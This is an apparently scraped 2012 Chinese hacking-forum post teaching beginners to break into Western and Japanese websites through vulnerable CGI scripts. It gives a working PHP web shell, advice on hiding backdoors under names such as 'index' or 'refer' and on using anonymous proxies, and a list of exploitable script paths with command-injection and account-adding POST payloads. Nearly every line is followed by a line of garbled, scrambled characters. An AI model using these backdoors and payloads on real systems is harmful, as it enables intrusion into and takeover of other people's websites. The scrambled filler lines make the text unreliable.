中国网络渗透测试联盟
标题:
CGI 脚本入侵快速上手+脚本使用方法
[打印本页]
作者:
admin
时间:
2012-9-13 16:54
标题:
CGI 脚本入侵快速上手+脚本使用方法
CGI 脚本入侵快速上手+脚本使用方法
0 }$ G2 `( z; @
大家好 我是bboyhip 只是一名菜菜的exploiter
, l u* b& L& k8 g4 u. K* X/ G
很开心来到贵论坛
9 a; m9 P: C1 k& a0 u4 k: ^
这里让我感觉 很有技术交流的感觉
9 {: ~& C1 |3 E* C% m% I
我会长长来玩的
8 ?' g# U; z. V& o
前言:
$ P. f4 a2 A! G
以下讲解针对欧美日本网站
0 U6 s; h& \+ K( ?; K' e2 P7 R
當我們在做滲透分析的時候 方法有很多
5 Z$ |) w( `5 p# v
我门都知道 国外伺服器大多是linux 平台
4 k0 g0 c1 j* J; {0 L( J
所以有很多网站程序有6成都会使用cgi 脚本来管理
4 A |; F. [; ~+ A2 ]' f& X& w
目录为/cgi-bin/
% I) K, J% O8 a0 U
# j0 y' B0 r8 ^3 |( p/ W# y* E
只是个人在实务上一些经验
! [# K, \: K' I; K8 W
写的不好 请多多见谅喔
+ i8 W8 X0 M9 _3 Q: N, a1 ?
在这里我简单分为几个部份一定要會的
& I6 t4 h8 h* m! b9 I+ [* c
讲解一下
2 T0 m/ g" N' t& d W
让没有基础的人很容易上手
3 x8 @5 y% J* \$ k
% Q$ C& q! N/ H9 t# ?# L
以下内容跟帖回复才能看到
1 u) l4 M# E5 O+ {; i4 h W
==============================
9 l" M% x) w$ D" w1 N9 ?
/ Y. j7 |% s u1 r/ {
第1部份: 何谓Shell?
6 D3 a' x" a8 R n2 _1 E) w* K
Shell的中文, 可称为 "壳". Shell 是一个比较复杂的概念, 先看比较传统的解释:
% ~6 n _0 g! O4 k: c% o
A shell is the program which reads user input from the command line and executes actions based upon that input.
$ {4 F1 ?4 b3 `% P5 e; V. L
意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令.
* |5 J# H4 K2 V* T, B
' E( z% T4 T9 U+ l
对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.
9 E4 ]+ x2 {1 v4 d V
要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门. 大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多. 在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除.
3 P: y) t8 i6 f- l y6 W3 S
所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell.
: Y4 i ]; Q, \$ Q: Z! U
+ D" h/ a9 }2 w& e, s: @
第2部份: Unix 指令
" X N @3 K: ^. l9 k
以下是一些常见及重要的指令:
( D6 W5 t* o# F& b
pwd: 显示当前目录, 即是後门/程式所在的位置
5 H8 h- p% T* r6 f! d
如 /home/www/site.com/cgi-bin/
% C* z! h6 F# G9 L- k
ls: 列出档案 (-a 包含隐藏档; -l 包含详细资料).
; }$ f1 m' b2 ]: U2 U9 {& d
ls -al :详细列出档案资料(当前目录)
2 K& r+ v# q8 J' V
ls /: 列出根目录
/ h2 _( A2 [; G. z- K. ?4 |6 o: g
ls /etc: 列出/etc的资料夹及档案
$ B( L, q0 H ?
ls ../ -al: 详细列出上一层的资料夹及档案
; S8 M4 o( p3 k1 E( I: |4 ~& z
cat: 显示档案内容
( t7 {# Z0 V0 o* ?
cat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)
T8 F! p+ E5 C2 _
cat /etc/passwd: 显示 /etc/passwd 这个档案的内容
; r( y$ ^: X0 @+ ]$ y0 h0 O
who: 显示谁login 至系统
) X) Q2 ?" m- J; b# \7 z
man: 显示指令用法
" `3 l& k, K5 X+ s' Q. w
man ls: 显示ls这指令的用法
! e5 V1 y* _# z# R+ q, v
mkdir 建立目录
1 v) Q, T- B$ [5 a
rmdir 删除目录
5 c5 a3 Z( a, W% o& l6 {
mv 移动档案
2 s3 L' c# Q O5 b' k5 M- \
rm 删除档案
. ]/ e$ f [9 ]# f$ x; {
2 k5 o0 t, w- X/ a
第3部份: Shell的使用
2 D6 S8 g7 t, }5 h& B- |3 s# N
例如:
& I1 `8 u, p. n
http://site.com/refer.php
1 g3 O: ? A3 P/ s( t
这是我的後门, 原代码如下:
# ?' @2 z$ Y6 s. c
<Form Action="#" Method="POST">
! ~, }4 e8 |, ^2 o' U$ Y
<Input type="text" name="cmd">
7 i+ Y& }% N- j8 E$ @
<Input type="Submit">
) L5 \+ [9 o/ A j/ r* ?4 N, x1 K* q
</Form>
- I: x6 O9 Q: D Z5 f
<?php
( ^2 |' P: I, g
$cmd = $_POST['cmd'];
: j- k3 D% {; l, K8 r
$Output = shell_exec($cmd);
' ]" M, m0 ~3 B' ^+ C$ ]4 x% d! x
echo $Output;
- Q! L: @8 P" Q# b9 k0 ~. s
?>
4 |1 E$ ~- {4 s' u6 @* G# S0 L
输入pwd, 可得到绝对路径:
# k. z% n O4 C; N+ w) q
/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com
$ ~3 m- I a) [; e% J u
5 T9 `1 l% l8 Z0 {- L7 K; ~
第4部份: 注意事项
}. s" Q# X/ j5 j0 D% g) A
- 使用匿名代理, 保障自己
6 V; n9 h2 N# ]) y( o, s9 [- ]" m
- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动
3 I5 T+ A% R% H: O, P+ ^
- 加後门前, 必须了解目标系统是否支援. 例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等.
2 k3 K% @( D, F. f% C
- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.
# `# j: V4 s3 U' _3 r# R' t7 w
- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,
9 q- D! m. J7 _& E' Q& z. ?
不容易被发现.
3 e* {" b/ |& V. G; i
- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案)
: J$ U) l# m0 ]6 [; e) Q
针对网站的渗透分析方法太多了
% s W5 t4 ]* ? i
这篇文章的重点是cgi 脚本攻击
! R% ^, T: B( O% z% Q# g
所以我用简单的叙述形容
" O! K5 {. q7 e! s, `9 B/ n9 Y
开始讲解脚本入侵过程:
' Y' q# C2 {, c( C
在这里提供一些方法思路让大家学习一下
4 C: }% [' ?2 m4 C: @) z: M
- U' U4 ?; O! C' S
1.一开始对一个网站进行cgi漏洞扫描
3 V" K' N) V* k3 M7 {- A7 r
我们需要的东西有
4 I8 n4 i1 m9 D0 e$ x0 }- t( r
扫洞工具 如:triton..等等
4 ^ w, ^1 k3 E) f# W3 { l
E表
' v0 S" B5 p, O3 p& g3 p, `
如
2 P$ U: l& L: D/ w( m% }
/cgi-bin/add-passwd.cgi
, H# B2 s" s& m( X5 D. d
/WebShop/templates/cc.txt
: {& w; A. i! b, { n- X; R
/Admin_files/order.log
8 {0 J/ s( q$ Z! s
/orders/mountain.cfg
. j2 P" E/ x1 e! [3 |: j1 J* i- t
/cgi-sys/cart.pl
( z: A8 ]9 |* h
/scripts/cart.pl
. q& b- ~3 ?; x% R
/htbin/cart.pl
4 g, |/ p" Z' ]2 l
E表来源可以是网路收寻或是自己的0 day
$ C1 K2 B e& i V0 |. j
$ ~4 r8 m; J/ C4 R% d2 M0 o6 E
2.怎样确认扫到的洞 是真的还假的?
. H5 R. v9 K1 t
举例: target:
http://www.site.com/cgi-bin/add-passwd.cgi
% V' t" u4 k3 W5 I. s* h: p; v
一般都是在IE里先看一下的,记住这个返回码哦
7 C/ f; O6 L4 \! F
ERROR:This script should be referenced with a METHOD of POST.
+ T E4 n2 E7 S6 B) v( j1 s
没有返回一定是假的
/ @6 E) c' f( R- n
3.重来来了 很多人都会问我
4 w. N4 y9 ?! M" N* o9 Y( k
他扫到很多洞 但是不会使用
" E2 L( H* O" z2 N) ^1 _
因为这些漏洞 使用的语法 称为post
4 B! m+ U4 v2 f# a! V; b% |
我们要找post 的方法很多
' q5 ?3 U1 \7 R; x$ u. h: C
可以是源代码分析 找出介质
+ E8 ?! R3 F1 u, K
或是用抓包工具 抓他的语法...等等
2 ^& y( N+ {4 v$ O$ @
4 k" ?! R4 h" ~1 @. z. @
以下我提供10个 cgi 洞以及使用方法post
' F3 p/ ^, Q4 L; i4 M, F
让大家可以针对网站去做扫描
; B0 @! E. T/ y$ G K5 I5 o
/index.cgi
1 |6 Q8 m- E% o7 A: O; z
wei=ren&gen=command
5 B; {% U; @- D c7 y
/passmaster.cgi
/ Z5 y! D3 {8 q
Action=Add&Username=Username&Password=Password
2 m+ l) s6 j- m. q) l/ n
/accountcreate.cgi
- k ?4 V" J T2 m
username=username&password=password&ref1=|echo;ls|
; c0 l! A" J5 Q% ]( U7 N
/form.cgi
& z% S2 H, D' A* y
name=xxxx&email=email&subject=xxxx&response=|echo;ls|
5 g) ~+ p9 E' F6 a- o* @
/addusr.pl
9 F8 B! b. d3 g- z, x
/cgi-bin/EuroDebit/addusr.pl
. x5 P% p7 @/ {# e
user=username&pass=Password&confirm=Password
) D$ O* ~. |! E2 J
/ccbill-local.asp
! v9 q4 v! Z8 v5 o7 m" A1 X
post_values=username:password
4 Z8 u5 r: ]9 P' [
/count.cgi
8 T+ o$ c8 ^2 N7 Y8 x3 Q, M, U" K
pinfile=|echo;ls -la;exit|
& F y4 l" E5 u3 U1 I
/recon.cgi
% |9 ?, W# O' Z2 b# Y- J
/recon.cgi?search
' w# H G$ E- o; Q( C+ H
searchoption=1&searchfor=|echo;ls -al;exit|
) O7 _7 M2 X; g* D* y
/verotelrum.pl
" K/ m+ V& l3 n/ |: H: K3 L
vercode=username:password:dseegsow:add:amount<&30>
( U/ H. M- e$ A" v. C
/af.cgi_browser_out=|echo;ls -la;exit;|
* {( x! O# Y8 Z. G0 S0 G- A
- g. W& v/ {& N$ {
今天就讲到这 感谢大家支持
2 o5 D2 w9 ~* {, I! S3 U
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2